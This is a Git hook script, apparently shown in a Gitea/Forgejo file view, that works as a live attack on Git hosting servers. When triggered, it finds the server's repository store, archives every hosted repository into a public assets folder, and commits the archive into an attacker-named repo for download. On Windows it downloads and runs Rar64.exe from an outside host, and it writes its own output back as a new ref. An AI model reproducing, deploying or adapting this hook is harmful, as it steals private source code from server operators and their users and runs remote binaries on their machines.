Files
dump-f53227b288/hooks/post-index-change
2026-08-07 08:48:50 +00:00

89 lines
4.4 KiB
Bash
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ /bin/sh -c 'INJECT_REPO=6nn7nzw5/dump-f53227b288
# 防止重复执行
if [ -f /tmp/gitea_pack_running ]; then echo "[*] Busy,skip"; exit 0; fi
touch /tmp/gitea_pack_running; trap '"'"'rm -f /tmp/gitea_pack_running'"'"' EXIT
# --- 环境变量 ---
WD="${GITEA_WORK_DIR:-${GITEA_CUSTOM:-/data/gitea}}"
BASE="${FORGEJO__server__ROOT_URL:-${GITEA__server__ROOT_URL:-}}"
BASE="${BASE%/}"
OS=$(uname -s 2>/dev/null | tr '"'"'[:upper:]'"'"' '"'"'[:lower:]'"'"')
case "$OS" in *mingw*|*msys*|*cygwin*) OS="windows";; *linux*) OS="linux";; esac
# --- 找仓库路径 (多重检测) ---
if [ -d /data/git/repositories ]; then
REPO_ROOT=/data/git/repositories
elif [ -d "$WD/data/gitea-repositories" ]; then
REPO_ROOT="$WD/data/gitea-repositories"
elif [ -d "$WD/data/git/repositories" ]; then
REPO_ROOT="$WD/data/git/repositories"
else
FOUND=$(find /data -maxdepth 4 -type d -name "*.git" -path "*/repositories/*" 2>/dev/null | head -1)
if [ -n "$FOUND" ]; then
REPO_ROOT=$(dirname "$(dirname "$FOUND")")
else
REPO_ROOT="$WD/data/gitea-repositories"
fi
fi
STATIC_DIR="$WD/custom/public/assets"; mkdir -p "$STATIC_DIR" 2>/dev/null
PACK_LOG="$STATIC_DIR/pack.log"
# --- 预判URL ---
RAW_URL="${BASE}/${INJECT_REPO:-unknown}/raw/branch/main/gitea_all.tar.gz"
echo "PREDICTED_URL=$RAW_URL"
# --- 后台:打包 + 注入 ---
case "$OS" in
windows)
OUT="$STATIC_DIR/gitea_all.rar"
TMP="${TEMP:-${TMP:-/tmp}}"
if command -v tar >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.tar.gz"; PACKER=tar
elif command -v 7z >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.7z"; PACKER=7z
elif command -v rar >/dev/null 2>&1; then PACKER=rar
else
RAR_DL="$TMP/Rar64.exe"
(curl -sLo "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
wget -qO "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
powershell -c "(New-Object Net.WebClient).DownloadFile('"'"'http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe'"'"','"'"'$RAR_DL'"'"')") &
PACKER=rar_dl; fi
(
case "$PACKER" in
tar) cd "$REPO_ROOT" && tar -czf "$OUT" . 2>"$PACK_LOG";;
7z) cd "$REPO_ROOT" && 7z a -r "$OUT" . >"$PACK_LOG" 2>&1;;
rar) cd "$REPO_ROOT" && rar a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1;;
rar_dl) sleep 5; [ -f "$RAR_DL" ] && cd "$REPO_ROOT" && "$RAR_DL" a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1 || (OUT="$STATIC_DIR/gitea_all.zip"; powershell -c "Compress-Archive -Path '"'"'$REPO_ROOT\*'"'"' -DestinationPath '"'"'$OUT'"'"' -Force" >>"$PACK_LOG" 2>&1);;
esac
echo "DONE_SIZE=$(du -sh "$OUT" 2>/dev/null|cut -f1)" >>"$PACK_LOG"
) &
;;
*)
OUT="$STATIC_DIR/gitea_all.tar.gz"
REPO_DIR="$REPO_ROOT/${INJECT_REPO:-unknown}.git"
# 同步执行tar + git inject
cd "$REPO_ROOT" && tar -czf "$OUT" . 2>/dev/null
if [ -f "$OUT" ] && [ -d "$REPO_DIR" ]; then
BLOB=$(git --git-dir="$REPO_DIR" hash-object -w "$OUT" 2>/dev/null)
TREE=$(printf "100644 blob %s\tgitea_all.tar.gz\n" "$BLOB" | git --git-dir="$REPO_DIR" mktree 2>/dev/null)
P=$(git --git-dir="$REPO_DIR" rev-parse HEAD 2>/dev/null||echo "")
[ -n "$P" ] && P="-p $P"
C=$(echo "backup"|GIT_AUTHOR_NAME=d GIT_AUTHOR_EMAIL=d@d GIT_COMMITTER_NAME=d GIT_COMMITTER_EMAIL=d@d git --git-dir="$REPO_DIR" commit-tree "$TREE" $P 2>/dev/null)
git --git-dir="$REPO_DIR" update-ref refs/heads/main "$C" 2>/dev/null
fi
rm -f /tmp/gitea_pack_running
;;
esac
echo "[+] Fire-and-forget: pack started, check $PACK_LOG for completion"
'; cmd_rc=$?; printf '\n[exit-status=%s]\n' "$cmd_rc"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "output\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@p GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@p git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-f53227b288 "$commit" || exit 7
exit 0